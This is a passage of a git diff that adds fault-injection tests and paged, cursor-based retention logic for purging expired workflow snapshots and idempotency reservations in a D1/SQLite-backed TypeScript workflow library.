); + expect(reservationRows(sqlite)).toHaveLength(1); + expect(cycle.advances).toHaveLength(boundary === 'snapshot page' ? 0 : 1); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe( + boundary === 'snapshot page' ? 1 : 0, + ); + expect(reservationRows(sqlite)).toEqual([]); + }); + + it('advances past an explicit null owned capsule projection', async () => { + const { sqlite, db, cycle } = retentionWorld(); + if (boundary !== 'absent orphan observation') + retentionSnapshot(sqlite, 'run', { + token: boundary === 'orphan observation' ? 'S2' : 'S1', + status: boundary === 'orphan observation' ? 'suspended' : 'success', + }); + retentionReservation(sqlite, 'key'); + let interceptedReads = 0; + const intercepted = retentionIntercept(db, { + read: (sql, result) => { + const target = + boundary === 'snapshot page' + ? sql.includes('WITH bounds') && sql.includes(' AS eligible') + : sql.includes('SELECT c.key AS candidate'); + if (!target) return result; + const row = (result as { results: Record[] }) + .results[0]; + if (!row) throw new Error('missing capsule projection fixture'); + row.owned_1 = null; + interceptedReads++; + return result; + }, + }); + expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe( + 0, + ); + expect(interceptedReads).toBe(1); + expect(cycle.advances).toHaveLength(2); + expect(cycle.cursor?.snapshots).toBeUndefined(); + expect(cycle.cursor?.reservations).toBeUndefined(); + expect(remainingRunIds(sqlite)).toEqual( + boundary === 'absent orphan observation' ? [] : ['run'], + ); + expect(reservationRows(sqlite)).toHaveLength( + boundary === 'absent orphan observation' ? 0 : 1, + ); + }); + }); + + describe.each([ + 'present', + 'absent', + ] as const)('%s orphan snapshot', (presence) => { + it.each([ + 'workflow_name', + 'run_id', + ])('rejects a mismatched orphan observation address: %s', async (field) => { + const { sqlite, db, cycle } = retentionWorld(); + if (presence === 'present') + retentionSnapshot(sqlite, 'run', { token: 'S2', status: 'suspended' }); + retentionReservation(sqlite, 'key'); + let interceptedReads = 0; + const intercepted = retentionIntercept(db, { + read: (sql, result) => { + if (!sql.includes('SELECT c.key AS candidate')) return result; + const row = (result as { results: Record[] }) + .results[0]; + if (!row) throw new Error('missing orphan observation fixture'); + row[field] = 'other'; + interceptedReads++; + return result; + }, + }); + await expect( + purgeExpiredWorkflowRuns(intercepted, cycle.options()), + ).rejects.toThrow(); + expect(interceptedReads).toBe(1); + expect(cycle.advances).toHaveLength(1); + expect(reservationRows(sqlite)).toHaveLength(1); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0); + expect(reservationRows(sqlite)).toEqual([]); + }); + }); + + describe.each(['initial page', 'schema retry'] as const)('%s', (boundary) => { + it.each([ + 'missing', + 'numeric', + 'invalid JSON', + 'array', + 'incomplete object', + 'null', + ])('handles a reservation projection with %s raw', async (kind) => { + const { sqlite, db, cycle } = retentionWorld(); + retentionReservation(sqlite, 'key'); + let batches = 0; + let interceptedReads = 0; + const intercepted = retentionIntercept(db, { + beforeBatch: () => { + if (boundary === 'schema retry' && batches++ === 0) + createSnapshotTable(sqlite, 'late_'); + }, + read: (sql, result) => { + const target = + boundary === 'initial page' + ? sql.includes('WITH bounds') && sql.includes(' AS raw') + : sql.startsWith('SELECT CASE') && sql.includes(' AS raw'); + if (!target) return result; + const row = (result as { results: Record[] }) + .results[0]; + if (!row) throw new Error('missing reservation projection fixture'); + interceptedReads++; + if (kind === 'missing') delete row.raw; + if (kind === 'numeric') row.raw = 123; + if (kind === 'invalid JSON') row.raw = '{'; + if (kind === 'array') row.raw = '[]'; + if (kind === 'incomplete object') row.raw = '{}'; + if (kind === 'null') row.raw = null; + return result; + }, + }); + const outcome = purgeExpiredWorkflowRuns(intercepted, cycle.options()); + if (kind === 'null') { + await expect(outcome).resolves.toBe(0); + expect(cycle.advances).toHaveLength(2); + expect(cycle.cursor?.reservations).toBeUndefined(); + } else { + await expect(outcome).rejects.toThrow(); + expect(cycle.advances).toHaveLength(1); + } + expect(interceptedReads).toBe(1); + if (boundary === 'schema retry') expect(batches).toBeGreaterThan(0); + expect(reservationRows(sqlite)).toHaveLength(1); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0); + expect(reservationRows(sqlite)).toEqual([]); + }); + }); + + it.each([ + 'missing-rows', + 'sparse-page', + 'changed-high-water', + 'missing-position', + 'missing-capsule', + 'wrong-eligibility', + ])('retains page progress on malformed read result %s', async (kind) => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run'); + const intercepted = retentionIntercept(db, { + read: (sql, result) => { + if (!sql.includes('WITH bounds')) return result; + const page = result as { results: Record[] }; + if (kind === 'missing-rows') return { results: undefined }; + if (kind === 'sparse-page') return { results: new Array(1) }; + const row = page.results[0]; + if (!row) throw new Error('fixture page missing'); + if (kind === 'changed-high-water') row.h = NaN; + if (kind === 'missing-position') delete row.rid; + if (kind === 'missing-capsule') delete row.owned_1; + if (kind === 'wrong-eligibility') row.eligible = '1'; + return page; + }, + }); + await expect( + purgeExpiredWorkflowRuns(intercepted, cycle.options()), + ).rejects.toThrow(); + expect(remainingRunIds(sqlite)).toEqual(['run']); + expect(cycle.advances).toEqual([]); + }); + + it.each([ + 'failed-envelope', + 'missing-raw-field', + 'multiple-rows', + ])('refuses malformed legacy read %s without advancing', async (kind) => { + const { sqlite, db, cycle } = retentionWorld(); + seedRun(sqlite, { + runId: 'run', + status: 'success', + updatedAt: NOW - 8 * DAY_MS, + }); + const intercepted = retentionIntercept(db, { + read: (sql, result) => { + if ( + !sql.startsWith('SELECT workflow_name, run_id, resourceId, snapshot') + ) + return result; + const page = result as { + results: Record[]; + success: boolean; + }; + if (kind === 'failed-envelope') page.success = false; + if (kind === 'missing-raw-field' && page.results[0]) + delete page.results[0].snapshot; + if (kind === 'multiple-rows' && page.results[0]) + page.results.push(page.results[0]); + return page; + }, + }); + await expect( + purgeExpiredWorkflowRuns(intercepted, cycle.options()), + ).rejects.toThrow(); + expect(remainingRunIds(sqlite)).toEqual(['run']); + expect(cycle.advances).toEqual([]); + }); + + it('retains the reservation phase position after an orphan response is lost', async () => { + const { sqlite, db, cycle } = retentionWorld(); + retentionReservation(sqlite, 'key'); + const intercepted = retentionIntercept(db, { + afterBatch: () => { + throw new Error('orphan response lost'); + }, + }); + await expect( + purgeExpiredWorkflowRuns(intercepted, cycle.options()), + ).rejects.toThrow('orphan response lost'); + expect(cycle.advances).toHaveLength(1); + expect(reservationRows(sqlite)).toEqual([]); + await purgeExpiredWorkflowRuns(db, cycle.options()); + expect(cycle.advances).toHaveLength(3); + }); + + it('does not retry an arbitrary missing-table message when its schema is unchanged', async () => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run'); + const beforeBatch = vi.fn(() => { + throw new Error('no such table mastra_workflow_snapshot'); + }); + await expect( + purgeExpiredWorkflowRuns( + retentionIntercept(db, { beforeBatch }), + cycle.options(), + ), + ).rejects.toThrow('no such table'); + expect(beforeBatch).toHaveBeenCalledTimes(1); + expect(remainingRunIds(sqlite)).toEqual(['run']); + expect(cycle.advances).toEqual([]); + }); + + it('preserves an agent capsule changed from boolean false to numeric zero', async () => { + const { sqlite, db, cycle } = retentionWorld(); + const provenance = { + version: 2, + startToken: 'S1', + startIdentity: { + owner: { kind: 'human', id: 'initiator' }, + target: { kind: 'agent', id: 'agent', threadId: 'thread' }, + }, + agentStart: { threaded: false }, + }; + decodeRunStartIdentity(provenance); + retentionSnapshot(sqlite, 'run', { provenance }); + retentionReservation(sqlite, 'key', { + state: 'started', + target_kind: 'agent', + target_id: 'agent', + thread_id: 'thread', + }); + const intercepted = retentionIntercept(db, { + beforeBatch: () => { + replaceRetentionSnapshot(sqlite, { + status: 'success', + requestContext: { + 'flowsafe.runProvenance': { + ...provenance, + agentStart: { threaded: 0 }, + }, + }, + }); + }, + }); + expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe( + 0, + ); + expect(reservationRows(sqlite)[0]?.state).toBe('started'); + replaceRetentionSnapshot(sqlite, { + status: 'success', + requestContext: { 'flowsafe.runProvenance': provenance }, + }); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(1); + expect(reservationRows(sqlite)[0]?.state).toBe('terminal'); + }); + + it('keeps same-S orphan identity conservative after an exact current address insertion', async () => { + const { sqlite, db, cycle } = retentionWorld(); + retentionReservation(sqlite, 'key'); + const intercepted = retentionIntercept(db, { + beforeBatch: () => + retentionSnapshot(sqlite, 'run', { status: 'suspended' }), + }); + await purgeExpiredWorkflowRuns(intercepted, cycle.options()); + expect(reservationRows(sqlite)).toHaveLength(1); + expect(remainingRunIds(sqlite)).toEqual(['run']); + }); + + it('uses BINARY owner membership under NOCASE resource IDs', async () => { + const { sqlite, db, cycle } = retentionWorld(); + await createResourceOwnershipSchema(db as never); + sqlite.exec( + `ALTER TABLE ${RESOURCE_OWNERSHIP_TABLE} RENAME TO original_owners`, + ); + const schema = sqlite + .prepare("SELECT sql FROM sqlite_schema WHERE name='original_owners'") + .get() as { sql: string }; + sqlite.exec( + schema.sql + .replace('"original_owners"', RESOURCE_OWNERSHIP_TABLE) + .replaceAll('TEXT', 'TEXT COLLATE NOCASE'), + ); + const resources = new D1ResourceOwnershipStore(db as never); + await resources.claim('run', 'run', { kind: 'human', id: 'owner' }); + retentionSnapshot(sqlite, 'run'); + retentionSnapshot(sqlite, 'RUN', { status: 'suspended' }); + expect( + await purgeExpiredWorkflowRuns(db, { + ...cycle.options(), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + }), + ).toBe(1); + expect( + sqlite + .prepare(`SELECT resource_id FROM ${RESOURCE_OWNERSHIP_TABLE}`) + .all(), + ).toEqual([]); + expect(remainingRunIds(sqlite)).toEqual(['RUN']); + }); + + it('preserves escaped token bytes when decoding yields the same value', async () => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run'); + const intercepted = retentionIntercept(db, { + beforeBatch: () => { + const snapshot = currentRetentionSnapshot(sqlite); + replaceRetentionSnapshot( + sqlite, + JSON.stringify(snapshot).replace('"S1"', '"\\u00531"'), + ); + }, + }); + expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe( + 0, + ); + expect(remainingRunIds(sqlite)).toEqual(['run']); + }); + + it('honors zero TTL without deleting an exact-cutoff snapshot', async () => { + const { sqlite, db } = retentionWorld(); + seedRun(sqlite, { runId: 'before', status: 'success', updatedAt: NOW - 1 }); + seedRun(sqlite, { runId: 'at', status: 'success', updatedAt: NOW }); + const cycle = retentionCycle({ ttlMs: 0 }); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(1); + expect(remainingRunIds(sqlite)).toEqual(['at']); + }); +}); + +it('retains a same-generation orphan key when its current token uses JSON escapes', async () => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run', { status: 'suspended' }); + retentionReservation(sqlite, 'key'); + const snapshot = currentRetentionSnapshot(sqlite); + replaceRetentionSnapshot( + sqlite, + JSON.stringify(snapshot).replace('"S1"', '"\\u00531"'), + ); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0); + expect(reservationRows(sqlite)).toHaveLength(1); + expect(remainingRunIds(sqlite)).toEqual(['run']); +}); diff --git a/packages/flowsafe/src/do-runner/d1-storage.ts b/packages/flowsafe/src/do-runner/d1-storage.ts index 4bd5b0d5..88ec2497 100644 --- a/packages/flowsafe/src/do-runner/d1-storage.ts +++ b/packages/flowsafe/src/do-runner/d1-storage.ts @@ -11,16 +11,35 @@ import { MastraCompositeStore, type MastraStorageDomains, } from '@mastra/core/storage'; - +import { missingTableReadsEmpty } from './cause-chain.js'; import type { D1DatabaseBinding } from './cf-types.js'; +import { + normalizeD1RunExecutionIdentity, + normalizeStartExecutionIdentity, +} from './execution-admission.js'; import { FencedWorkflowsStorageD1 } from './fenced-workflows-d1.js'; import { isPathSafeId } from './path-safe-id.js'; +import { + decodeRunStartIdentity, + runExecutionIdentityFor, +} from './run-provenance.js'; import { RESOURCE_OWNER_TABLE } from './run-storage-tables.js'; import { START_IDEMPOTENCY_TABLE } from './start-idempotency.js'; +import { + admissionReservationFromRow, + reservationFromRow, + reservationSchemaStage, + START_IDEMPOTENCY_COLUMNS, + type StartReservationSchemaStage, +} from './start-reservation-contract.js'; import { validateTablePrefix } from './table-prefix.js'; -import type { - SnapshotDatabase, - SnapshotStatement, +import { + decodeRawWorkflowSnapshotResult, + prepareRawWorkflowSnapshotRead, + type RawWorkflowSnapshot, + type SnapshotDatabase, + type SnapshotStatement, + snapshotResultRows, } from './workflow-snapshot-row.js'; export { RESOURCE_OWNER_TABLE } from './run-storage-tables.js'; @@ -108,18 +127,7 @@ export function createD1Storage( }); } -/** - * Mastra workflow terminals plus FlowSafe's lifecycle-owned terminals. - * Deleting a live run (running/suspended/waiting/pending/paused) would kill a - * pending approval, so only these are ever purged. - * - * Exported because retention and the drain inventory must agree on the word - * "terminal" to the letter. The purge deletes what this set matches; the - * inventory counts what it does NOT, and a run that is terminal to one and live - * to the other is either a row the purge reaps while the inventory still calls - * it work, or — worse — a run the inventory declares finished while it is still - * executing, which is exactly the reading a migration would act on. - */ +/** Shared with the drain inventory so cleanup and liveness use the same vocabulary. */ export const RUN_TERMINAL_STATUSES = [ 'success', 'failed', @@ -131,29 +139,25 @@ export const RUN_TERMINAL_STATUSES = [ 'timed_out', ] as const; -/** - * The SQL that decides one snapshot row is TERMINAL, with `?` for each entry of - * RUN_TERMINAL_STATUSES in order. - * - * A shared FRAGMENT rather than a shared list because the rule is not "the - * status is in the set": a run that reached 'cancelled' or 'timed_out' is - * terminal only once its lifecycle cleanup stamped `cleanupCompletedAt`, and - * before that it is still executing compensation. Two hand-written copies of - * that carve-out are two chances for one of them to answer "finished" for a run - * that is mid-cleanup — the retention purge would delete a live run's snapshot, - * and the drain inventory would report a deployment empty while it still runs - * work. The caller supplies the `json_valid` guard, because it decides which - * way an unclassifiable row should fail. - */ -export const RUN_TERMINAL_SNAPSHOT_SQL = `json_extract(snapshot, '$.status') IN (${RUN_TERMINAL_STATUSES.map( - () => '?', -).join(', ')}) +/** Duplicate keys can disagree between SQLite and JSON.parse on terminal eligibility. */ +export const RUN_TERMINAL_SNAPSHOT_SQL = `json_type(snapshot, '$') = 'object' + AND (SELECT count(*) FROM json_each(snapshot) WHERE key COLLATE BINARY = 'status') = 1 + AND (SELECT count(*) FROM json_each(snapshot) WHERE key COLLATE BINARY = 'requestContext') <= 1 + AND (SELECT count(*) FROM json_each(snapshot, '$.requestContext') WHERE key COLLATE BINARY = 'flowsafe.runLifecycle') <= 1 + AND (SELECT count(*) FROM json_each(snapshot, '$.requestContext."flowsafe.runLifecycle"') WHERE key COLLATE BINARY = 'terminal') <= 1 + AND (SELECT count(*) FROM json_each(snapshot, '$.requestContext."flowsafe.runLifecycle".terminal') WHERE key COLLATE BINARY = 'cleanupCompletedAt') <= 1 + AND json_extract(snapshot, '$.status') IN (${RUN_TERMINAL_STATUSES.map( + () => '?', + ).join(', ')}) AND ( json_extract(snapshot, '$.status') NOT IN ('cancelled', 'timed_out') - OR json_extract( - snapshot, - '$.requestContext."flowsafe.runLifecycle".terminal.cleanupCompletedAt' - ) IS NOT NULL + OR ( + json_type(snapshot, '$.requestContext."flowsafe.runLifecycle".terminal.cleanupCompletedAt') IN ('integer', 'real') + AND json_extract(snapshot, '$.requestContext."flowsafe.runLifecycle".terminal.cleanupCompletedAt') BETWEEN 0 AND 9007199254740991 + AND json_extract(snapshot, '$.requestContext."flowsafe.runLifecycle".terminal.cleanupCompletedAt') = CAST( + json_extract(snapshot, '$.requestContext."flowsafe.runLifecycle".terminal.cleanupCompletedAt') AS INTEGER + ) + ) )`; const DEADLINE_LIVE_STATUSES = [ @@ -354,495 +358,1264 @@ export interface RunArtifactPurger { deleteRun(workflowId: string, runId: string): Promise; } +export interface RunRetentionScanPosition { + readonly afterRowId: number; + readonly highWaterRowId: number; +} + +export interface RunRetentionCursor { + readonly version: 1; + readonly tablePrefix: string; + readonly startIdempotencyTable?: string; + readonly snapshots?: RunRetentionScanPosition; + readonly reservations?: RunRetentionScanPosition; +} + export interface PurgeExpiredRunsOptions { - /** workflowOutputTTL: runs untouched for longer than this are eligible. */ + /** Terminal snapshot retention measured from updatedAt. */ ttlMs: number; - /** Must satisfy and match createD1Storage's max-39 tablePrefix contract. */ tablePrefix?: string; - /** - * When set, each purged run's R2 artifacts are deleted WITH its snapshot - * row. Hosts that store artifacts must wire this: the snapshot row is the - * only enumerable record of a run's artifact keys (R2 keys lead with - * workflowId — there is no run-level listing without it), so a retention - * purge without this pairing strands the run's artifacts until the - * deployment itself is decommissioned. - */ + /** Artifact deletion precedes the guarded snapshot transaction. */ artifactStore?: RunArtifactPurger; - /** - * Deployment-local resource-owner table. When supplied, each snapshot delete - * and its run-owner release commit in the same D1 transaction. The composed - * Flowsafe Worker always supplies this; lower-level callers without the - * resource registry omit it. - */ resourceOwnerTable?: string; - /** - * The start-reservation table (`flowsafe_start_idempotency`). When supplied, - * this purge is also what keeps idempotency keys finite. - * - * Wired the same way `resourceOwnerTable` is — by name, from the composed - * Flowsafe Worker — for the same reason: this module owns the SQL of run - * retention, and a reservation must be reaped in the same transaction that - * removes the run it points at, never by a second sweep that could interleave - * with it. - */ startIdempotencyTable?: string; - /** - * How long a spent idempotency key stays answerable after its run settled — - * the KEY-VALIDITY HORIZON, and the only tuning decision this feature has. - * - * Until it elapses, a retry of a completed run is told ALREADY_SETTLED. After - * it, the reservation is gone and the same key reads as brand new, so a retry - * would START A SECOND RUN. That is the whole reason this exists as its own - * knob rather than riding `ttlMs`: a host whose callers retry for longer than - * its run retention (an overnight batch re-run, a queue with a multi-day - * redrive) needs keys to outlive summaries, and a host whose keys are minted - * per HTTP request does not. - * - * DEFAULTS TO `ttlMs`, and is floored at it: a reservation shorter-lived than - * the snapshot it guards would be deleted while its run is still readable, - * and the very next retry would mint a fresh run alongside the live one — the - * exact double-execution this feature exists to prevent. A caller asking for - * less gets `ttlMs`, silently, because there is no configuration in which the - * smaller number is what anybody meant. - */ + /** Defaults to ttlMs and cannot shorten the snapshot retention horizon. */ startIdempotencyTtlMs?: number; - /** - * Runs processed per call. Artifact-paired path: default 100 — the purge duty's - * subrequest-budget guard, same batching as any batched reaper. Each - * run costs ~2+N subrequests (R2 list, per-artifact deletes, its row's - * DELETE), so an UNBOUNDED first backlog would blow the Workers - * per-invocation cap mid-pass and log an error every firing until it - * drained; size this to your plan's budget instead. Row-only path: - * default 1000 — one LIMIT-batched DELETE statement per firing, bounding - * D1 per-query cost instead of subrequests. Both paths use the shrinking - * eligible set as the cursor — the next firing resumes at the survivors. - */ + /** Physical rows scanned per phase, capped at 90. */ limit?: number; - /** Clock override for tests. */ now?: () => number; + cursor?: RunRetentionCursor; + advanceCursor: (next: RunRetentionCursor) => Promise; } -/** - * The MASTRA-OWNED tables `purgeExpiredWorkflowRuns` deletes from under the run - * TTL — the production anchor the schema guard cross-checks every `run-ttl` - * retention declaration against. The guard reads THIS, not a literal copied - * into the test, so a purge that changes what it targets and a guard that still - * blesses the old set cannot drift apart silently. - * - * Mastra-owned specifically: the purge ALSO deletes from flowsafe's own - * registries when a caller wires them, and those live in - * RUN_TTL_FLOWSAFE_PURGE_TABLES below rather than here — see its note for why - * the two sets are not one. - */ export const RUN_TTL_PURGE_TABLES: readonly string[] = [ 'mastra_workflow_snapshot', ]; -/** - * The FLOWSAFE-owned tables this purge also deletes from when the caller wires - * them, and the reason they are not in the list above. - * - * `RUN_TTL_PURGE_TABLES` is cross-checked against the `mastra_%` inventory in - * mastra-schema-guard.test.ts — its job is to catch a @mastra/core bump that - * changes what run retention targets. These two are ours, they are optional - * (a lower-level caller without the registries omits both), and they are - * deleted on a DIFFERENT predicate: `flowsafe_resource_owners` when its run's - * last snapshot is gone, `flowsafe_start_idempotency` when its reservation is - * settled AND past the key-validity horizon. Folding them into the Mastra - * anchor would make that guard assert an equality it cannot mean. - */ export const RUN_TTL_FLOWSAFE_PURGE_TABLES: readonly string[] = [ RESOURCE_OWNER_TABLE, START_IDEMPOTENCY_TABLE, ]; -/** - * Data-retention purge: deletes TERMINAL runs (success/failed/tripwire/ - * canceled/bailed/skipped and cleanup-complete cancelled/timed_out) whose - * updatedAt is older than the TTL from - * mastra_workflow_snapshot — and, when `artifactStore` is wired, each purged - * run's R2 artifacts with its row, plus (when their tables are wired) the run's - * ownership row and its spent start reservation, each in the SAME transaction - * as the snapshot delete. Live runs (running/suspended/waiting/ - * pending/paused) are never touched — expiring a suspended run would kill a - * pending approval. A missing snapshot table reads as zero purgeable runs - * (Mastra creates it lazily with the first persisted run). TTL enforcement - * is a storage-layer property, so it lives here; alarm scheduling stays with - * the caller. Returns the number of deleted rows. - */ -export async function purgeExpiredWorkflowRuns( - db: SnapshotDatabase, - options: PurgeExpiredRunsOptions, -): Promise { - const prefix = validateTablePrefix(options.tablePrefix) ?? ''; - const now = options.now ?? Date.now; - // @mastra/cloudflare-d1 stores updatedAt as ISO-8601 TEXT - // (persistWorkflowSnapshot serializes via toISOString), so lexicographic - // < against an ISO cutoff is a correct timestamp comparison. - const cutoff = new Date(now() - options.ttlMs).toISOString(); - // json_extract throws on malformed JSON and would abort the WHOLE delete — - // one corrupt row must not stop every valid terminal row from being - // reclaimed. The CASE guard (not `AND json_valid(...)`) is load-bearing: - // SQLite does not guarantee AND short-circuit order in a WHERE, so a bare - // conjunct could still evaluate the extract on the bad row. Unclassifiable - // rows yield NULL and survive (fail safe: never delete what can't be - // proven terminal). - const eligible = `updatedAt < ? - AND CASE WHEN json_valid(snapshot) THEN - ( - ${RUN_TERMINAL_SNAPSHOT_SQL} - ) - ELSE 0 END`; - const resourceOwnerTable = options.resourceOwnerTable; - if ( - resourceOwnerTable !== undefined && - !/^[A-Za-z_][A-Za-z0-9_]*$/.test(resourceOwnerTable) - ) { - throw new Error('resourceOwnerTable must be a safe SQL identifier'); +const RETENTION_SQL_BYTES = 90_000; +const RETENTION_SELECTOR_BYTES = 1_000_000; +const RETENTION_FRAGMENT_BYTES = 4096; +const RETENTION_NAMESPACES = 64; +const RETENTION_PAGE = 90; +const RETENTION_SUFFIX = 'mastra_workflow_snapshot'; +const RETENTION_PATH = '$.requestContext."flowsafe.runProvenance"'; +const RETENTION_OWNED_KEYS = [ + 'version', + 'startToken', + 'startIdentity', + 'agentStart', +] as const; +const retentionEncoder = new TextEncoder(); + +type RetentionDatabase = SnapshotDatabase & + Required>; +type RetentionOwned = readonly (string | null)[]; +type RetentionStartTuple = readonly [ + string, + string, + string, + string, + string, + string, + string | null, +]; +type RetentionSelector = readonly [ + string, + string, + RetentionOwned, + RetentionStartTuple | null, +]; +interface RetentionSchema { + names: string[]; + table?: string; + stage?: StartReservationSchemaStage; + bindings: [string, string | null, string | null]; +} +interface RetentionStatement { + sql: string; + values: unknown[]; +} +interface RetentionPage { + rows: Record[]; + position?: RunRetentionScanPosition; +} +interface RetentionOrphan { + raw: Record; + namespace?: string; + observation: 'legacy' | 'missing' | 'absent' | RetentionOwned; +} + +function retentionRegistry(value: unknown): string | undefined { + if (value === undefined) return undefined; + if (typeof value !== 'string' || !/^[A-Za-z_][A-Za-z0-9_]*$/.test(value)) + throw new Error('retention registry must be a safe SQL identifier'); + if (value.length >= RETENTION_SQL_BYTES) + throw new Error('retention registry exceeds SQL byte budget'); + return value.toLowerCase(); +} + +function retentionRecord( + value: unknown, + keys: readonly string[], +): Record { + if (value === null || typeof value !== 'object' || Array.isArray(value)) + throw new Error('run retention cursor is malformed'); + const captured: Record = {}; + for (const key of Reflect.ownKeys(value)) { + if (typeof key !== 'string' || !keys.includes(key)) + throw new Error('run retention cursor is malformed'); + const descriptor = Object.getOwnPropertyDescriptor(value, key); + if (!descriptor || !('value' in descriptor)) + throw new Error('run retention cursor is malformed'); + captured[key] = descriptor.value; } - const startIdempotencyTable = options.startIdempotencyTable; + return captured; +} + +/** @internal */ +export function parseRunRetentionCursor( + value: unknown, +): RunRetentionCursor | undefined { + if (value === undefined) return undefined; + const { + version, + tablePrefix, + startIdempotencyTable, + snapshots, + reservations, + } = retentionRecord(value, [ + 'version', + 'tablePrefix', + 'startIdempotencyTable', + 'snapshots', + 'reservations', + ]); + if (version !== 1 || typeof tablePrefix !== 'string') + throw new Error('run retention cursor is malformed'); + const prefix = validateTablePrefix(tablePrefix)?.toLowerCase() ?? ''; + const table = retentionRegistry(startIdempotencyTable); + const capturePosition = ( + position: unknown, + ): RunRetentionScanPosition | undefined => { + if (position === undefined) return undefined; + const { afterRowId, highWaterRowId } = retentionRecord(position, [ + 'afterRowId', + 'highWaterRowId', + ]); + if ( + typeof afterRowId !== 'number' || + !Number.isSafeInteger(afterRowId) || + typeof highWaterRowId !== 'number' || + !Number.isSafeInteger(highWaterRowId) || + afterRowId > highWaterRowId + ) + throw new Error('run retention position is malformed'); + return Object.freeze({ afterRowId, highWaterRowId }); + }; + const snapshotPosition = capturePosition(snapshots); + const reservationPosition = capturePosition(reservations); + if (reservationPosition && table === undefined) + throw new Error('reservation cursor requires a registry'); + return Object.freeze({ + version: 1, + tablePrefix: prefix, + ...(table === undefined ? {} : { startIdempotencyTable: table }), + ...(snapshotPosition === undefined ? {} : { snapshots: snapshotPosition }), + ...(reservationPosition === undefined + ? {} + : { reservations: reservationPosition }), + }); +} + +function retentionStatement( + sql: string, + values: unknown[], +): RetentionStatement { if ( - startIdempotencyTable !== undefined && - !/^[A-Za-z_][A-Za-z0-9_]*$/.test(startIdempotencyTable) - ) { - throw new Error('startIdempotencyTable must be a safe SQL identifier'); + retentionEncoder.encode(sql).length > RETENTION_SQL_BYTES || + values.length > 100 + ) + throw new Error('run retention statement exceeds SQL or binding budget'); + return { sql, values }; +} + +function retentionSelectorJson(values: readonly unknown[]): string { + const json = JSON.stringify(values); + if (retentionEncoder.encode(json).length > RETENTION_SELECTOR_BYTES) + throw new Error('run retention selector exceeds byte budget'); + return json; +} + +function prepareRetentionStatement( + db: SnapshotDatabase, + statement: RetentionStatement, +): SnapshotStatement { + return db.prepare(statement.sql).bind(...statement.values); +} + +async function observeRunRetentionSchema( + db: SnapshotDatabase, + table: string | undefined, +): Promise { + const names = snapshotResultRows( + await db + .prepare(`SELECT name, type FROM sqlite_schema + WHERE type IN ('table', 'view') AND lower(name) GLOB '*${RETENTION_SUFFIX}' + ORDER BY lower(name) LIMIT ${RETENTION_NAMESPACES + 1}`) + .all(), + ); + if (names.length > RETENTION_NAMESPACES) + throw new Error('run retention namespace overflow'); + const canonical: string[] = []; + for (const row of names) { + if ( + row.type !== 'table' || + typeof row.name !== 'string' || + !row.name.toLowerCase().endsWith(RETENTION_SUFFIX) + ) + throw new Error('run retention namespace is not a supported table'); + validateTablePrefix(row.name.slice(0, -RETENTION_SUFFIX.length)); + const name = row.name.toLowerCase(); + if (canonical.includes(name)) + throw new Error('run retention duplicate namespace'); + canonical.push(name); } - // Floored at the run TTL, never below it — see startIdempotencyTtlMs. A - // reservation deleted while its run is still readable would let the next - // retry of that key start a SECOND run beside the live one. - const reservationCutoff = - now() - - Math.max(options.startIdempotencyTtlMs ?? options.ttlMs, options.ttlMs); - const batch = - resourceOwnerTable || startIdempotencyTable - ? db.batch?.bind(db) - : undefined; - if ((resourceOwnerTable || startIdempotencyTable) && !batch) { - throw new Error( - 'purgeExpiredWorkflowRuns requires database.batch() for atomic owner cleanup', + let stage: StartReservationSchemaStage | undefined; + let metadata: unknown[][] | null = null; + if (table !== undefined) { + const rows = snapshotResultRows( + await prepareRetentionStatement( + db, + retentionStatement( + `SELECT s.type AS schema_type, + p.cid, p.name, p.type, p."notnull", p.dflt_value, p.pk, p.hidden + FROM sqlite_schema s LEFT JOIN pragma_table_xinfo(?1) p ON 1 + WHERE lower(s.name)=?1 AND s.type IN ('table','view') ORDER BY p.cid LIMIT 14`, + [table], + ), + ).all(), ); + if (rows.length > 0) { + if ( + rows.some( + (row, index) => row.schema_type !== 'table' || row.cid !== index, + ) + ) + throw new Error('run retention reservation schema is unsupported'); + stage = reservationSchemaStage({ results: rows }); + if (stage === undefined) + throw new Error('run retention reservation schema is empty'); + metadata = rows.map((row) => [ + row.cid, + row.name, + row.type, + row.notnull, + row.dflt_value, + row.pk, + row.hidden, + ]); + } } - /** - * The two reservation statements that ride a snapshot delete, in order. - * - * They run INSIDE the same `batch()` as the snapshot's own DELETE and AFTER - * it, which is what makes the pairing atomic: by the time these execute, the - * runs named here have no snapshot in this transaction, so neither statement - * can act on a reservation whose run is still readable. - * - * 1. DELETE the reservations already past the horizon. This is the pairing - * the design asks for: a spent key and the run it named leave together. - * 2. MARK the rest terminal. A reservation still inside its horizon must - * survive — that is what makes a late retry ALREADY_SETTLED rather than a - * fresh start — but its run is gone, so it is settled by definition. This - * also HEALS the reconcile a crash between a run's terminal persist and - * `settleRun` would have lost, and re-stamps `updated_at` so the horizon - * is measured from a point at which the reservation is definitely spent. - * - * `state <> 'terminal'` also settles `reserved` rows, not just `started` - * ones. The ordinary lifecycle should not produce one here — a run only - * persists a snapshot after its claim, so a row this statement can see is - * normally `started` — and the point is that this statement does not - * depend on that. It is selected by RUN, and every run it names has just - * lost its snapshot in this same transaction, so whatever left the row - * un-claimed (a released claim, a hand-edited row, a caller yet to be - * written), the run it names is gone and the key cannot be worth starting - * again. Settling too eagerly costs a retry a refusal it can resolve with - * a fresh key; leaving a row readable as `reserved` after its run is - * unreadable costs a second run of work that already completed. - */ - /** - * Whether the reservation table has been seen to exist this pass. - * - * It is created lazily by the first `reserve()`, so a deployment on which no - * idempotency key has ever been used has none — and a batch naming a missing - * table fails as ONE TRANSACTION, taking the snapshot delete down with it. - * That would turn "this host wired reservations and nobody has used one yet" - * into "run retention is silently unenforced", so the first such failure - * retries the batch WITHOUT the reservation statements and the pass carries - 